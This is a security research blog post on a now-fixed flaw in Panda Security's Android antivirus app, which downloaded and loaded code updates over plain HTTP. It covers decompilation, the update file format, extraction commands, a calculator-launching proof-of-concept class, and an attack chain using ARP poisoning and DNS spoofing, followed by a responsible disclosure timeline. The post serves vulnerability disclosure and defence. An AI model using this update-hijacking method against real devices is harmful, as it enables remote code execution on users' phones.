Exploiting Vulnerable Pandas

There’s been some debate recently (see the work of Tavis Ormandy, Project Zero) around whether security applications such as Anti-Virus make devices more secure, or whether their greater attack surface can introduce new weaknesses.

I thought it would be interesting to take a look at Android antivirus applications in the Play Store and I came across an application by Panda Security, with 1-5 million downloads:


After some analysis of this application, it turned out that version 3.1.2 (the most recent at the time) had a weakness that allowed an attacker in a position to intercept network traffic to execute malicious code on the user’s device. The weakness has now been fixed, so this blog will take a look at the process of discovering and exploiting the issue.

Information Gathering

As a first step, I began proxying application traffic and as soon as I opened the application I noticed files being downloaded over unencrypted HTTP:


Generally this isn’t good practice: these files could be modified by an attacker in a position to intercept network traffic, for example if someone is using an untrusted Wi-Fi network. However, if the application carries out independent verification of the files then this may not be an issue, so I set out to discover what these files do, and whether they are sufficiently protected.

When looking into an Android application it’s useful to decompile the APK (using tools such as jadx) and see if there is any readable source code. Android applications are written in Java (excluding any native libraries), and the nature of compilation into DEX bytecode means that a rough representation of the original Java source code can be reconstructed.

In this case, the application has been obfuscated at build-time, and a lot of class and method names have been altered to single letters, for example:

if (bn.k(bn.f(j))) {
    dVar.a = e.UPTODATE;
} else {
    hTTPRequestIn.URL = makeRequestSync.contentString;
    hTTPRequestIn.resultContentType = ContentType.BYTEARRAY;
    HTTPRequestOut makeRequestSync2 = cVar.makeRequestSync(hTTPRequestIn);
    if (makeRequestSync2 != null && makeRequestSync2.HTTPresponse == 200) {
        byte[] bArr = makeRequestSync2.contentByteArray;
        if (bArr != null) {
            byte[] a = bq.a(bArr);
            if (a != null) {
                dVar.b = new i().a(new ByteArrayInputStream(a));
                if (dVar.b != null) {
                    File[] g = g();
                    if (g != null) {
                        for (File delete : g) {
                            delete.delete();
                        }
                    }
                    if (bn.a(a, bn.f(j.replace(".zip", ".xml")))) {
                        dVar.a = e.OK;
                        Log.i(a, "Catalog downloaded OK");
                    } else {
                        dVar.a = e.ERROR;
                        Log.i(a, "Error saving catalog");
                    }
                } else {
                    dVar.a = e.ERROR;
                    Log.i(a, "Error parsing catalog");
                }

However, we can see log statements, and these give useful insights into what the code is doing.

If we run the application we won’t see these logs; the application uses a custom logging class, which only logs if a member variable ('mLogToLogcatEnabled’) is set to true:

public static void i(String str, String str2) {
    if (mLogToLogcatEnabled) {
        android.util.Log.i(str, str2);
    }
    if (mLogToFileEnabled) {
        logToFile(LogLevelTag.INFORMATION, str, str2);
    }
}

It’s possible to re-enable the logging by patching the application. Tools like jadx give a good approximation of the original source code, but often cannot decompile everything, which makes it difficult to rebuild the application. To make modifications, we can switch to smali code, produced by tools like apktool. Smali is a closer representation of the DEX bytecode, which generally allows for modification and recompilation without errors.

We can re-enable logging by adding the following smali to the Log class’ ‘<clinit>’ method, which sets the variable to true during the static class initialisation:

const/4 v1, 0x1
sput-boolean v1, Lcom/pandasecurity/pandaavapi/utils/Log;->mLogToLogcatEnabled:Z

We also need to make sure logging isn’t disabled again by removing the following line from the ‘setLogcatEnabled’ method:

sput-boolean p0, Lcom/pandasecurity/pandaavapi/utils/Log;->mLogToLogcatEnabled:Z

If we run the patched application, we start to see log entries about the files downloaded over HTTP:

CatalogManager  I  New catalog available http://acs.pandasoftware.com/sigfiles/cats/sigcat_4052_20160817_112752.zip
HTTPClient  D  makeRequestSync: HTTP request to: http://acs.pandasoftware.com/sigfiles/cats/sigcat_4052_20160817_112752.zip
ZipUtils  I  zip element filename sigcat_4052_20160817_112752.xml
CatalogManager  I  Catalog downloaded OK
HTTPClient  D  makeRequestSync: HTTP request to: http://acs.pandasoftware.com/sigfiles/sigs/sf_mobile_20150317_085614.zip
ZipUtils  I  zip element filename mobile.sig
UpdateManager  I  Download integrity check passed
UpdateManager  I  temporary file delete Ok /storage/emulated/0/Android/data/com.pandasecurity.pandaav/files/temp/downloaded.zip
UpdateManager  I  sigfile downloaded ok to /data/user/0/com.pandasecurity.pandaav/files/updates/0x10000099
TechLoader  I  update /data/user/0/com.pandasecurity.pandaav/files/updates/0x10000099
TechLoader  I  setNeedCompleteUpdate /data/user/0/com.pandasecurity.pandaav/files/updates/0x10000099
TechLoader  I  completeUpdate /data/user/0/com.pandasecurity.pandaav/files/updates/0x10000099
TechLoader  I  completeUpdate returns true
TechLoader  I  resetNeedCompleteUpdate
TechLoader  I  tech initializeEx /data/user/0/com.pandasecurity.pandaav/files/engine/pandaavtech.jar
TechLoader  I  Calling DexClassLoader
TechLoader  I  Loading class
TechLoader  I  Getting new instance
TechLoader  I  Getting method
TechLoader  I  Getting method
TechLoader  I  tech initializeEx returned true

From this output, it looks like we have the following process:

  • Download a ZIP file and extract XML,
  • Download a further file, check integrity and update based on its contents,
  • Load a JAR file and call a method.

The application is potentially downloading a JAR file over HTTP and loading classes from it. If we can modify this JAR file, we may be able to execute our own code.

Download Process

Walking through the files that are downloaded, we can start to associate them with what happens in the log.

The ZIP file which is downloaded first contains a ‘catalog’ XML file detailing available updates:

<?xml version="1.0" encoding="UTF-8"?>
<UPDATES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <SOLUTION_ID>4052</SOLUTION_ID>
  <SIGFILES>
    <SIGFILE>
      <FILE_ID>131072</FILE_ID>
      <SUBTYPE>0</SUBTYPE>
      <FILENAME>sf_mobile_20150317_085614.zip</FILENAME>
      <URL>http://acs.pandasoftware.com/sigfiles/sigs</URL>
      <DATE>20150317</DATE>
      <HOUR>085614</HOUR>
      <MD5>7c8139ab4ab5a59a6a0660703d16ab1a</MD5>
      <INTERNAL_ID>0x10000099</INTERNAL_ID>
      <PATCHES>
        <PATCH>
          <PATCH_NAME>pf_mobile_20150310_142426.bsd</PATCH_NAME>
          <PATCH_MD5>344161500cbe9c4004173466fe4e98a3</PATCH_MD5>
          <PATCH_URL>http://acs.pandasoftware.com/sigfiles/sigs</PATCH_URL>
        </PATCH>
      </PATCHES>
    </SIGFILE>
    ...
  </SIGFILES>
</UPDATES>

Each update has a ‘SIGFILE’ element: we can see that there is an ‘INTERNAL_ID’ value of 0x10000099 and a ‘FILENAME’ of ‘sf_mobile_20150317_085614.zip’, which both match the log output.

By downloading and inspecting the specified ZIP, we can also see that it contains the ‘mobile.sig’ file referenced in the log:

Archive:  sf_mobile_20150317_085614.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
    74462  2015-03-17 09:56   mobile.sig
---------                     -------
    74462                     1 file

It seems then that the XML specifies where to download a ZIP file, which contains a ‘sigfile’, which probably contains the JAR file.

Working through and renaming methods in a key update function (identified through the log strings), we start to see this process in more detail:

boolean functionReturnCode = false;
synchronized (this) {
    ArrayList arrayList = new ArrayList();
    Log.i(k, "doUpdate");
    if (k()) {
        boolean z2;
        d a = this.o.a();
        if (a.a != rEngineDirectory.OK || a.b == null) {
            Log.i(k, "New catalog not available");
            z2 = false;
        } else {
            Iterator it = a.b.c.iterator();
            z2 = false;
            boolean z3 = false;
            while (it.hasNext()) {
                j jVar = (j) it.next();
                if (a(jVar.a, jVar.b) && a(jVar)) {
                    o oVar = new o();
                    oVar.b = jVar.rInternalID;
                    String f = bn.rGetUpdatesDirectoryFile(jVar.rInternalID);
                    if (rDownloadAndValidateFile(jVar, f)) {
                        Log.i(k, "sigfile downloaded ok to " + f);
                        if (!parseSigFile(f)) {
                            Log.i(k, "Sigfile integrity check failed");
                            oVar.a = q.UPDATE_ERR_BAD_SIGFILE;
                            functionReturnCode = z3;
                        } else if (jVar.rInternalID.equals(rUpdateTypes.eAvTechSigfile.rGetSigTypeString())) {
                            if (av.rAcquireTechLock(true)) {
                                av a2 = av.rInitialiseJARFile(App.rGetAppContext());
                                if (a2 == null) {
                                    try {
                                        Log.i(k, "Error getting technology instance");
                                        oVar.a = q.UPDATE_ERR;
                                    } catch (Throwable th) {
                                        av.b(true);
                                    }
                                } else if (a2.rUpdateJARFileFromPath(f)) {
                                    oVar.a = q.UPDATE_OK_FULL;
                                    z3 = true;

In pseudocode this roughly translates to the following:

Loop through all files in the catalog:
    Download the ZIP file and extract them
    If the mobile.sig file MD5 matches the catalog MD5:
        If the file can be parsed and passes an integrity check:
            If the file is of type 0x10000099:
                Acquire a lock on the JAR file:
                    If the JAR file exists or can be initialised to one provided in the APK:
                        Update the JAR file from the mobile.sig file and load it

There are a couple of integrity checks during this process. The initial MD5 check is trivial to bypass because we can just alter the MD5 value in the unprotected XML catalog, but the downloaded mobile.sig file seems to have further validation.

File Format

The file format is referred to as a ‘SigFile’ in the code; it contains information about the SigFile and information on embedded ‘SubSig’ files. The patch to enable logging causes all of the header fields to be printed:

TechLoader  I  completeUpdate /data/user/0/com.pandasecurity.pandaav/files/updates/0x10000099
Sigfile I Eof 26
Sigfile I Magic becafeda
Sigfile I Version 3
Sigfile I SubVersion 0
Sigfile I TamanoPAVSIG 74462
Sigfile I TamanoPAVSIGHEADER 267
Sigfile I CRC 0
Sigfile I NvirusConcreto 0
Sigfile I Año 2015
Sigfile I Dia 17
Sigfile I Mes 3
Sigfile I Hora 8
Sigfile I Minuto 56
Sigfile I Segundo 14
Sigfile I Centesima 102
Sigfile I Actualizacion 0
Sigfile I CRCact 0
Sigfile I Contenido 0
Sigfile I Encriptado 0
Sigfile I NumRegistros 0
Sigfile I Master_Actualizacion 0
Sigfile I PAVSIG_Version 0
Sigfile I SigID 10000099
Sigfile I MajorVersion 1
Sigfile I MinorVersion 0
Sigfile I Release 0
Sigfile I Build 0
Sigfile I nSubSig 1
Sigfile I nSubSig__Ocupados 1
Sigfile I Magic 1d000100
Sigfile I Offset 267
Sigfile I Size 74195
Sigfile I Crc 1b9ccf1a

Sigfile I Comprimido 1
Sigfile I Encriptado -86
Sigfile I APVIR_Version 0

The key items in the file format are highlighted; for each ‘SubSig’ embedded file we have:

  • The offset
  • The size
  • A Cyclic Redundancy Check (CRC) value
  • An XOR key

This allows us to extract a valid JAR file from the mobile.sig file with the following commands (where xor.py does a basic byte-wise XOR with the provided key):

dd if=mobile.sig bs=1 skip=267 count=74195 of=subsig
xor.py --infile subsig --outfile jar_file --xorkey 170

This confirms that the JAR file that is loaded is definitely downloaded over HTTP. 

We could also reverse the process and patch a malicious JAR file into the ‘SigFile’, provided we fix the header values. At this point we can intercept the HTTP update process and replace the embedded JAR file. However, we need the application to actually execute the code in the JAR file.

Code Execution

To find which class we need to implement in our JAR file, we need to look at the methods that the application calls via reflection (again, partially deobfuscated):

private boolean rClassLoadJARFile(String str, boolean z, boolean z2) {
boolean z3;
Log.i(g, "tech initializeEx " + str);
if (z2) {
String e = rGetNeedCompleteUpdate();
if (e != null && rCompleteUpdate(e)) {
rResetNeedCompleteUpdate();
}
}
File dir = App.rGetAppContext().getDir(“outdex”, 0);
Log.i(g, “Calling DexClassLoader”);
DexClassLoader dexClassLoader = new DexClassLoader(str, dir.getAbsolutePath(), null, App.rGetAppContext().getClassLoader());
try {
Log.i(g, “Loading class”);
Class loadClass = dexClassLoader.loadClass(“com.pandasecurity.avtech.TechLoader”);
Log.i(g, “Getting new instance”);
this.a = loadClass.newInstance();
Class[] clsArr = new Class[0];
Log.i(g, “Getting method”);
this.b = loadClass.getMethod(“getVersion”, clsArr);
clsArr = new Class[]{eInterfaceIdentifiers.class, Object[].class};
Log.i(g, “Getting method”);
this.c = loadClass.getMethod(“getInterface”, clsArr);
if (!(this.b == null || this.c == null)) {
z3 = true;
if (!z3 && z) {
Log.i(g, “tech initializeEx. Restoring factory technology”);
new File(bn.rGetEngineDirectoryFile(rClassLoadedJARFile)).delete();
l.c();
z3 = rWriteDefaultJARIfNotExists();
if (z3) {
z3 = rClassLoadJARFile(str, false, false);
}
}
Log.i(g, "tech initializeEx returned " + z3);
return z3;
}

This shows that we need a ‘TechLoader’ class in a ‘com.pandasecurity.avtech’ package. Once an instance of this class is created, the application will try to find some methods through reflection. For completeness, we could implement these, but an instance of the class has already been created through the call to ‘newInstance’, which calls the default constructor. This means that, to achieve code execution, it’s enough to create a class with a default constructor.

For example, the following will ‘pop calc’ (a surprisingly fiddly process on Android: we run the first application whose name contains ‘calc’):

package com.pandasecurity.avtech;

import android.app.Application;
import android.content.Intent;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.util.Log;
import java.util.List;

public class TechLoader {

public TechLoader() {
    Log.d("PandaPOC", "Constructor called - code execution - launching calculator");
    try {
        Application application = (Application) Class.forName("android.app.ActivityThread").getMethod("currentApplication").invoke(null, new Object[] {});

        PackageManager packageManager = application.getPackageManager();
        List packageList = packageManager.getInstalledPackages(0);
        for (PackageInfo packageInfo : packageList) {
            if(packageInfo.packageName.toString().toLowerCase().contains("calc")){
                Intent intent = packageManager.getLaunchIntentForPackage(packageInfo.packageName.toString());
                application.startActivity(intent);
            }
        }
    } catch (Exception exception) {
        Log.d("PandaPOC", "Error launching calculator: " + exception.getMessage());
    }
}

}

Exploitation

So, putting this all together, we need to:

  • Create a JAR file containing a ‘com.pandasecurity.avtech.TechLoader’ class with a default constructor that runs malicious code.
  • Embed the JAR file as a ‘SubSig’ in a ‘SigFile’, with the CRC, offset, size and XOR key modified accordingly.

We can then:

  • Intercept an application HTTP request for the catalog URL.
  • Return the URL of our own malicious catalog, which should specify a 0x10000099 update, the MD5 of our malicious SigFile and a download URL for the zipped malicious SigFile.

The example below shows ARP poisoning and DNS spoofing being used to intercept the HTTP request of a newly installed application; with our code being executed to return a Meterpreter connection:

Disclosure

This issue was disclosed to Panda Security, as detailed in the following timeline:

18/08/2016 Context email [email protected] and [email protected] asking for security disclosure contact. Delivery to [email protected] email address fails.

25/08/2016 Context Tweet @PandaSecurityUK asking for security contact. Panda provide security contact. Context email asking for PGP key.

29/08/2016 Panda provide PGP key and security email address ([email protected]).

30/08/2016 Context provide summary of security issue.

13/09/2016 Panda confirm issue, state they are looking into deploying secure downloads.

20/10/2016 Context ask for update on status of issue. Panda confirm they are moving to HTTPS downloads and finalising infrastructure changes.

01/02/2017 Context note that newer application versions use HTTPS. Ask Panda for confirmation that the issue has been fixed.

27/03/2017 Panda confirm latest version of the application uses secure downloads.

30/03/2017 Panda provide link to their release notes: http://www.pandasecurity.com/uk/support/card?id=100055

Contact and Follow Up

Tom works in our Research team, from our London office. See the contact page for ways to getting in touch.

Article Link: http://contextis.com/resources/blog/exploiting-vulnerable-pandas/